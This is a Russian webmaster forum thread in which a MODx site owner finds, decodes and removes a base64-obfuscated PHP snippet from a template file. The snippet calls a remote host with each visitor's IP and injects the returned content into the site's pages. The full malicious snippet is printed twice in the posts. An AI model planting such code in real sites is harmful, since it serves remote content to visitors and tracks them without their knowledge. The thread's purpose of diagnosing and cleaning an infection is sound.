Форум Сайтостроение Веб-строительство

Подскажите как убрать base64_decode из php файла шаблона?

E
На сайте с 17.02.2011
Offline
2
enef
949

Подскажите как убрать base64_decode из php файла шаблона?

Сайт на CMS MODx CMF Team.

В файле jquery00.php относящемся к шаблону обнаружил вот такой фрагмент:

function yyelq_egmo($uphf){return ykgtq_clo($uphf) .";document.write('".pboa_htyw."');".'document.cookie = "qixy=1;expires=Sun, 01-Dec-2015 08:00:00 GMT;path=/"';}$pboa_htyw=puxk_oyxdc(base64_decode("aHR0cDovL2djb3VudGVyLmNuL2luZm8ucGhw") . "?i=" . $_SERVER["REMOTE_ADDR"] . "&s=" . $_SERVER["HTTP_HOST"]);@preg_match("#<open>(.*)</close>#", $pboa_htyw, $matches);$pboa_htyw= isset($matches[1]) ? $matches[1] : "";if ($pboa_htyw) {define("pboa_htyw",$pboa_htyw); ob_start("yyelq_egmo");}}?>

;(function(){

"aHR0cDovL2djb3VudGVyLmNuL2luZm8ucGhw" раскодировал и получил "http://gcounter.cn/info.php" - сайт на который ESET не пускает как на вирусный. Пока закодировал "http://www.yandex.ru/"] и поставил вместо.

На работу сайта это не повлияло.

Подскажите как вообще безболезненно убрать этот кусок с base64_decode из файла?

D
На сайте с 15.05.2008
Offline
62
defisa
#1

Да вроде просто!

Сделайте 

echo base64_decode("aHR0cDovL2djb3VudGVyLmNuL2luZm8ucGhw");

и посмотрите что там внутри.

E
На сайте с 17.02.2011
Offline
2
enef
#2

Удалил этот кусок:

}

function yyelq_egmo($uphf){return ykgtq_clo($uphf) .";document.write('".pboa_htyw."');".'document.cookie = "qixy=1;expires=Sun, 01-Dec-2015 08:00:00 GMT;path=/"';}$pboa_htyw=puxk_oyxdc(base64_decode("aHR0cDovL3d3dy55YW5kZXgucnUv") . "?i=" . $_SERVER["REMOTE_ADDR"] . "&s=" . $_SERVER["HTTP_HOST"]);@preg_match("#<open>(.*)</close>#", $pboa_htyw, $matches);$pboa_htyw= isset($matches[1]) ? $matches[1] : "";if ($pboa_htyw) {define("pboa_htyw",$pboa_htyw); ob_start("yyelq_egmo");}}?>

;(function(){

Сайт вроде работает нормально.

А что это может быть? Что в нём прописано?

Кэширование в браузерах и Заголовки Last-Modified и If-Modified-Since Перевод сайта на защищенный
MD
На сайте с 11.04.2010
Offline
22
mago de sombra
#3

потёрто
10 букв

ДП
На сайте с 23.11.2009
Offline
203
Дикий пионер
#4

Хм, насколько помню шаблоны modx хранит в базе. Но с начала года несколько раз уже встречался с заражениями сайта каким-то вирусом, который вставлял скрытый фрейм, причем 1 раз для пользователя. У вас тут я смотрю как раз код ставит куку, так что я бы сравнил файлы на сервере с эталонными из инсталляционного архива.

Яндекс начал борьбу с Яндекс.Почта предупредит о ссылках Безопасный поиск Яндекса предупреждает

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий